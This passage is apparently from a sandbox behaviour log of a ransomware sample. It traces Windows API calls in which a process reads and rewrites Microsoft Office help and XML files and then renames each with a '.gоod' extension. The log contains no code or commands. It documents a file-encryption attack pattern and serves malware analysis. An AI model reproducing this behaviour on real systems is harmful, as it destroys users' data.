hFile=0x838, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0205.267] ReadFile (in: hFile=0x838, lpBuffer=0x33fd268, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x33fd268*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0205.268] CloseHandle (hObject=0x838) returned 1 [0205.268] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS", lpFilePart=0x0) returned 0x3e [0205.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0205.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0205.269] GetFileType (hFile=0x838) returned 0x1 [0205.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0205.269] GetFileType (hFile=0x838) returned 0x1 [0205.269] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x5f470 [0205.269] WriteFile (in: hFile=0x838, lpBuffer=0x33fe4e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x33fe4e8*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0205.270] CloseHandle (hObject=0x838) returned 1 [0205.270] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS", lpFilePart=0x0) returned 0x3e [0205.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0205.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0205.271] GetFileType (hFile=0x838) returned 0x1 [0205.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0205.271] GetFileType (hFile=0x838) returned 0x1 [0205.271] ReadFile (in: hFile=0x838, lpBuffer=0x34007d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x34007d0*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0206.222] CloseHandle (hObject=0x838) returned 1 [0206.222] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS", lpFilePart=0x0) returned 0x3e [0206.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0206.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0206.222] GetFileType (hFile=0x838) returned 0x1 [0206.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0206.223] GetFileType (hFile=0x838) returned 0x1 [0206.223] WriteFile (in: hFile=0x838, lpBuffer=0x33df4d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x33df4d8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0206.223] CloseHandle (hObject=0x838) returned 1 [0206.223] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS", lpFilePart=0x0) returned 0x3e [0206.223] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS.gоod", lpFilePart=0x0) returned 0x43 [0206.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0206.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x7721446f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5f480)) returned 1 [0206.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0206.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs.gоod")) returned 1 [0206.224] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM", lpFilePart=0x0) returned 0x40 [0206.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0206.225] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm"), fInfoLevelId=0x0, lpFileInformation=0x351ff18 | out: lpFileInformation=0x351ff18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d682)) returned 1 [0206.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0206.226] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM", lpFilePart=0x0) returned 0x40 [0206.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0206.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0206.226] GetFileType (hFile=0x838) returned 0x1 [0206.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0206.226] GetFileType (hFile=0x838) returned 0x1 [0206.226] SetFilePointer (in: hFile=0x838, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0206.226] ReadFile (in: hFile=0x838, lpBuffer=0x3520310, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3520310*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0206.228] CloseHandle (hObject=0x838) returned 1 [0206.228] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM", lpFilePart=0x0) returned 0x40 [0206.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0206.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0206.228] GetFileType (hFile=0x838) returned 0x1 [0206.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0206.228] GetFileType (hFile=0x838) returned 0x1 [0206.228] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x7d682 [0206.229] WriteFile (in: hFile=0x838, lpBuffer=0x3521638*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3521638*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0206.232] CloseHandle (hObject=0x838) returned 1 [0206.232] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM", lpFilePart=0x0) returned 0x40 [0206.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0206.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0206.233] GetFileType (hFile=0x838) returned 0x1 [0206.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0206.233] GetFileType (hFile=0x838) returned 0x1 [0206.233] ReadFile (in: hFile=0x838, lpBuffer=0x3523c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3523c08*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0206.544] CloseHandle (hObject=0x838) returned 1 [0206.545] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM", lpFilePart=0x0) returned 0x40 [0206.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0206.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0206.545] GetFileType (hFile=0x838) returned 0x1 [0206.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0206.545] GetFileType (hFile=0x838) returned 0x1 [0206.545] WriteFile (in: hFile=0x838, lpBuffer=0x3413340*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3413340*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0206.546] CloseHandle (hObject=0x838) returned 1 [0206.546] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM", lpFilePart=0x0) returned 0x40 [0206.546] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM.gоod", lpFilePart=0x0) returned 0x45 [0206.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0206.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x775357b2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7d692)) returned 1 [0206.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0206.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm.gоod")) returned 1 [0206.557] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS", lpFilePart=0x0) returned 0x40 [0206.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0206.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css"), fInfoLevelId=0x0, lpFileInformation=0x35d06e0 | out: lpFileInformation=0x35d06e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0206.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0206.558] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS", lpFilePart=0x0) returned 0x40 [0206.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0206.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0206.558] GetFileType (hFile=0x838) returned 0x1 [0206.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0206.558] GetFileType (hFile=0x838) returned 0x1 [0206.558] GetFileSize (in: hFile=0x838, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0206.558] ReadFile (in: hFile=0x838, lpBuffer=0x35d16e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x35d16e8*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0206.562] CloseHandle (hObject=0x838) returned 1 [0206.736] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS", lpFilePart=0x0) returned 0x40 [0206.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0206.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x470 [0206.738] GetFileType (hFile=0x470) returned 0x1 [0206.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0206.738] GetFileType (hFile=0x470) returned 0x1 [0206.738] WriteFile (in: hFile=0x470, lpBuffer=0x346e478*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x346e478*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0206.739] CloseHandle (hObject=0x470) returned 1 [0206.739] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS", lpFilePart=0x0) returned 0x40 [0206.739] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS.gоod", lpFilePart=0x0) returned 0x45 [0206.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0206.739] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x776ff3a9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0206.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0206.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css.gоod")) returned 1 [0206.741] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML", lpFilePart=0x0) returned 0x41 [0206.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0206.741] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml"), fInfoLevelId=0x0, lpFileInformation=0x346f830 | out: lpFileInformation=0x346f830*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x468)) returned 1 [0207.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0207.603] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML", lpFilePart=0x0) returned 0x41 [0207.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0207.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0207.603] GetFileType (hFile=0x644) returned 0x1 [0207.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0207.603] GetFileType (hFile=0x644) returned 0x1 [0207.603] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x468 [0207.603] ReadFile (in: hFile=0x644, lpBuffer=0x359d6e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x359d6e8*, lpNumberOfBytesRead=0x1f59dd38*=0x468, lpOverlapped=0x0) returned 1 [0207.607] CloseHandle (hObject=0x644) returned 1 [0207.647] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML", lpFilePart=0x0) returned 0x41 [0207.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0207.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0207.766] GetFileType (hFile=0x858) returned 0x1 [0207.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0207.766] GetFileType (hFile=0x858) returned 0x1 [0207.766] WriteFile (in: hFile=0x858, lpBuffer=0x34aac80*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x34aac80*, lpNumberOfBytesWritten=0x1f59dc48*=0x470, lpOverlapped=0x0) returned 1 [0208.389] CloseHandle (hObject=0x858) returned 1 [0209.980] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML", lpFilePart=0x0) returned 0x41 [0210.061] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML.gоod", lpFilePart=0x0) returned 0x46 [0210.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0210.061] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x786cad64, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x470)) returned 1 [0210.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0210.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml.gоod")) returned 1 [0210.062] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML", lpFilePart=0x0) returned 0x41 [0210.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0210.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml"), fInfoLevelId=0x0, lpFileInformation=0x360f068 | out: lpFileInformation=0x360f068*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, 